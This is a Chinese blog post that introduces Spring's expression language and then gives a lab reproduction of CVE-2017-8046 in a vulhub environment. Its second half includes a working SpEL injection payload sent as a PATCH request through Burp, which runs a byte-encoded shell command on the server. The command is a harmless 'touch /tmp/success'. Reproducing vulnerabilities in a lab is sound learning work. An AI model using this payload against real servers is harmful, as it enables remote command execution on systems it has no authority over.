简介:
Spring是Java EE编程领域的⼀个轻量级开源框架,该框架由⼀个叫Rod Johnson的程序员 在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各 层的松耦合问题,因此它将⾯向接⼝的编程思想贯穿整个系统应⽤,实现敏捷开发的应⽤型框 架。框架的主要优势之⼀就是其分层架构,分层架构允许使⽤者选择使⽤哪⼀个组件,同时为 J2EE应⽤程序开发提供集成的框架。 2009年9⽉Spring 3.0 RC1发布后,Spring就引⼊了SpEL (Spring Expression Language)。类⽐Struts2框架,会发现绝⼤部分的安全漏洞都和OGNL脱不了⼲系。尤其是远程 命令执⾏漏洞,这导致Struts2越来越不受待⻅。 因此,Spring引⼊SpEL必然增加安全⻛险。事实上,过去多个Spring CVE都与其相关,如 CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。 SpEL是什么? SpEL(Spring Expression Language)是基于spring的⼀个表达式语⾔,类似于struts的 OGNL,能够在运⾏时动态执⾏⼀些运算甚⾄⼀些指令,类似于Java的反射功能。就使⽤⽅法上 来看,⼀共分为三类,分别是直接在注解中使⽤,在XML⽂件中使⽤和直接在代码块中使⽤。 SpEL原理如下: 1. 表达式:可以认为就是传⼊的字符串内容; 2. 解析器︰将字符串解析为表达式内容; 3. 上下⽂:表达式对象执⾏的环境; 4. 根对象和活动上下⽂对象∶根对象是默认的活动上下⽂对象,活动上下⽂对象表示了当前表达 式操作的对象。
环境搭建:
kali vulhub靶场 /spring/CVE-2017-8046
漏洞复现
访问 http://your-ip:8080/customers/1 ,然后抓取数据包,使⽤PATCH请求来修改
抓包发送到burp里的repeater模块里 把请求改成PATCH 在最下面 加上数据 go一下
数据:
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
返回kali 输入命令进docker入容器 ls /tmp查看 可以发现 成功创建success
标签:8046,对象,Spring,命令,SpEL,2017,CVE,表达式 From: https://blog.csdn.net/2201_75891821/article/details/140998849